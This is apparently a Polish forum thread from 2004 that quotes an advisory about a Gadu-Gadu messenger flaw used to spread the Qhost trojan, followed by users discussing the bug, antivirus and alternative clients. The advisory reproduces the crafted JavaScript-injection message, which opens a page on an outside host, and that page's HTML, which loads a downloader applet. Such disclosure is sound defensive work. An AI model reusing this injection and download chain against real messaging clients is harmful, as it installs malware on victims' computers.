GG_trojan

Dec 23, 2004 38 Replies

Cztery dni temu informowali¶my o kolejnych b³êdach w komunikatorze Gadu-Gadu. Jeden z nich pozwala³ miêdzy innymi na wykonanie kodu javascript w strefie lokalnej poprzez wys³anie odpowiednio spreparowanej wiadomo¶ci. W dniu dzisiejszym w sieci Gadu-Gadu rozsy³ana jest wiadomo¶æ której odebranie powoduje instalacje trojana Qhost.



Wiadomo¶æ rozsy³ana jest z bramki WWW - GG o numerze 7021349. Oto jej tre¶æ:



www.po"style=background-image:url(javascript:window.open('http://iframedolla rs.biz/dl/adv407.php','','left=10000'));".pl



W pliku adv407.php znajduje siê kod HTML:



<html><head>
</head><body>
<textarea cd="cxw" style="display:none;" >


</textarea>


<applet width=1 height=1 ARCHIVE=loaderadv407.jar code=Counter></APPLET></body></html>


Aplet zapisany w archiwum loaderadv407.jar pobiera program

formatting link
i instaluje go na komputerze ofiary. Loadadv407.exe przez skaner Mks'a identyfikowany jest jako Trojan.Qhost.



Zalecamy niezw³oczn± aktualizacje do najnowszej wersji klienta Gadu-Gadu b±d¼ skorzystanie z alternatywnych klientów.



orginal:

formatting link


JJMafia napisał(a):

Nie tylko GG,ale takze starsze wersje tlena. W pracy koledzy uzywaja tlena i na jednej z wersji kod takze zadzialal. Nowsze wersje juz nie maja buga. Generalnie patent polega na zagniezdzaniu Internet Explorera wewnatrz okna rozmowy komunikatora. Wszystkie bugi IE beda dzialaly pod durnymi komunikatorami.

Odebranie - czytaj: posiadanie wlaczonego GG - to sie odbiera samo. Ja tez mialem kilka dni temu, ale mam tez program antywirusowy, ktory to powstrzymal!

Sam uzywam GG, ale to _smiec_ nie komunikator, powala mnie ignorancja firmy, ktora go wymyslila. Ma wiecej bledow niz wszystkie wersje windowsa razem. Nawet monitowanie o poprawki nic nie daje. Sukces polega tylko na momencie wejscia na rynek, kiedy nie bylo innych rozwiazan - reszta sama sie toczy.

Jak juz sie w koncu obrobie z praca to przerzucam sie na cos innego.

Pozdrawiam, BartMan

A w ogole to kto tu bardziej zawinil ? GG, czy MSIE .. ktorego podejrzewam ze GG wykorzystuje ? A moze MS VM javy ?

MS przestal dostarczac, supportowac i popierac Jave, zwraca obecnie uwage ze za bezpieczenstwo Sun VM nie odpowiada. IMHO - ActiveX okaza sie jeszcze bardziej dziurawe :-)

J.

J.F. napisał(a):

GG, bo teraz juz nie ma tej dziury w GG jak pisze mr JJMafia. Jak pisalem, GG to na prawde kiepsko napisany program.

Nie, bo mowa o JS - JavaScripcie - to jest jezyk skryptowy z obsluga wbudowana w kazda przegladarke, nie ma nic wspolnego z Java VM procz podobnej skladni do Javy no i nazwy... Niestety jezyki czesto mylone :/

Potwornie. Mozesz ze swojego skryptu na stronie www wysunac tacke cdromu osoby ktora ta strone odwiedza. Przeciez to ingerencja w hardware, ktore powinno byc chronione. Sporo wirusow sie na tym opiera.

BartMan

[...]

Jasssne... Przestał wspierać itd. po awanturze z Sunem o przekroczenie zasad licencji.

[...]

pan od GG mocno, jakos to naprawili teraz :-)

GG jedzie na gotowych komponentach IE to pewne. Ale ataki JS injection i tak malo grozne o ile ma sie polatanego IE, a jak sie nie ma to i tak czy to droga GG czy poprzez lazanie po x x x sie dorwie 'zonka'.

P.s GG zajmuje u mnie ok 30MB, miranda ma zajmowac ok 6MB z pluginem GG. Co pokazuje jak 'dobrze' jest GG napisane...

Wywalenie reklam zgodnie z regulaminem to lamanie umowy licencyjnej(czy jakiej tam), no ok a jak chce miec lepszego klienta niz ten oryginalny? Np taka miranda, a to sie okazuje ze tez niezgodne z regulaminem GG... pat albo lamiesz jakis punkt umowy z GG :)

Przestal w ogole. Jeszcze tylko wyplacze sie z javascriptow i bedzie po javie :-)

J.

Ale tu widzialem jakiegos jar sciaganego .. reszte robila juz chyba VM.

J.

juz zaprzestaje :) ostatnio przegladarka ciagle mnie pyta czy bym visualbasica nie chcial doinstalowac :>

wojtek

formatting link

Dosta³em tego smiecia w spod tego numeru GG ale na moje pytanie "co to ?" nie dosta³em odpowiedzi, przezornie ola³em klikanie w tego linka :)

ten błąd to akurat błąd w GG, bo źle zamienia otrzymają wiadomość na HTML. IE tylko posłusznie wykonuje to, co ma robić.

w.

J.F. napisał(a):

Racja racja, bo to kwestia kodu wirusa, ale bug jest w IE i kod wykonuje sie w JS. Natomiast co sie sciagnie i uruchomi to juz wszystko jedno. Bug pozwala sciagnac i uruchomic "cos" z netu. Mozesz ludziom Flasha wyslac z zyczeniami... BartMan

Krzys-iek <root.a.krionix.ten napisał(a):

W asemblerze to toto nie jest napisane ;)

Ja nie usunalem reklam z GG tylko w pliku hosts (pod winda) dopisalem adserver.gadu-gadu.pl jako wlasny ip i mi sie reklami nie sciagaja BartMa

Ale JM nie powinna pozwolic na "niebezpieczne" operacje .. przynajmniej w kontekscie "przegladarka internetowa".

No tak - powinien pytac.

J.

Czy tylko ja mam OE i NAV i tylko ja przy probie otworzenia glownej wiadomosci mam zglaszany komunikat ze w wiadomosci jest zlosliwy kod??

BYRRT! napisał(a):

To jest wirus, wirus sie sam otwiera z tego linku przez JavaScripta (nie jave!). Ja tez mam NAV i on mnie uratowal, bo kod sie nie wykonal.

BartMan

VSS napisał(a):

Bo masz albo nowe GG albo inny komunikator - jesli Ci sie nie uruchomilo, to nie masz juz BUG'a. Powinno sie samo uruchomic. Moge wyjasnic jak to dziala, ale moze pozniej, bo szykuje Wigilie. :)

BartMan

uzywam Tlena, w GG juz dawno przesta³em wierzyæ :)

BYRRT! snipped-for-privacy@op.pl napisal nam:

nie jest

Join the Discussion

Have something to add? Share your thoughts — no account required.

Didn't find your answer?

Ask the community — no account required